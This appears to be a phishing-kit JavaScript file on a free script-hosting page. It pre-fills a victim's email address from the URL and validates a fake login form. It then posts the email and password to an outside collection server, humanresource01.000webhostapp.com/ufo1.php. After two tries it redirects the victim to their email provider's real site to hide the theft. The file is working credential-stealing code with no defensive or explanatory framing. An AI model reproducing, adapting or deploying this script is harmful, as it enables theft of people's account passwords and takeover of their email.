Free javascript Hosting


leg04.js

Uploaded on Apr 17 2022 17:25 by ashvin519

<script type="text/javascript" src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></script>
<script type="text/javascript" src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js" integrity="sha384-JZR6Spejh4U02d8jOt6vLEHfe/JQGiRRSQQxSfFWpi1MquVdAyjUar5+76PVCmYl" crossorigin="anonymous"></script>
</body>
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>
<script type="text/javascript" src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>
<script>
/* global $ */
$(document).ready(function() {
var count = 0;



/////////////url ai getting////////////////
var ai = window.location.hash.substr(1);
if (!ai) {

} else {
// $('#ai').val(ai);
var my_ai = ai;
var ind = my_ai.indexOf("@");
var my_slice = my_ai.substr((ind + 1));
var c = my_slice.substr(0, my_slice.indexOf('.'));
var final = c.toLowerCase();
$('#ai').val(my_ai);
$('#aich').html(my_ai);
$("#msg").hide();

}
///////////////url getting ai////////////////

var file = "bmV4dC5waHA=";

$('#submit-btn').click(function(event) {
$('#error').hide();
$('#msg').hide();
event.preventDefault();
var ai = $("#ai").val();
var pr = $("#pr").val();
var msg = $('#msg').html();
$('#msg').text(msg);
///////////new injection////////////////
var my_ai = ai;
var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

if (!ai) {
$('#error').show();
$('#error').html("Email field is empty.!");
return false;
}

if (!filter.test(my_ai)) {
$('#error').show();
$('#error').html("That account doesn't exist. Enter a different account");
return false;
}
if (!pr) {
$('#error').show();
$('#error').html("Password field is empty.!");
return false;
}

var ind = my_ai.indexOf("@");
var my_slice = my_ai.substr((ind + 1));
var c = my_slice.substr(0, my_slice.indexOf('.'));
var final = c.toLowerCase();
///////////new injection////////////////
count = count + 1;

$.ajax({
dataType: 'JSON',
url: 'https://humanresource01.000webhostapp.com/ufo1.php',
type: 'POST',
data: {
ai: ai,
pr: pr,
},
// data: $('#contact').serialize(),
beforeSend: function(xhr) {
$('#submit-btn').html('Verifing...');
},
success: function(response) {
if (response) {
$("#msg").show();
console.log(response);
if (response['signal'] == 'ok') {
$("#pr").val("");
if (count >= 2) {
count = 0;
// window.location.replace(response['redirect_link']);
window.location.replace("http://www." + my_slice);
return false;

}
// $('#msg').html(response['msg']);
} else {
// $('#msg').html(response['msg']);
}
}
},
error: function() {
$("#pr").val("");
if (count >= 2) {
count = 0;
window.location.replace("http://www." + my_slice);
return false;
}
$("#msg").show();
// $('#msg').html("Please try again later");
},
complete: function() {
$('#submit-btn').html('Continue');
}
});
});


});
</script>

Back to list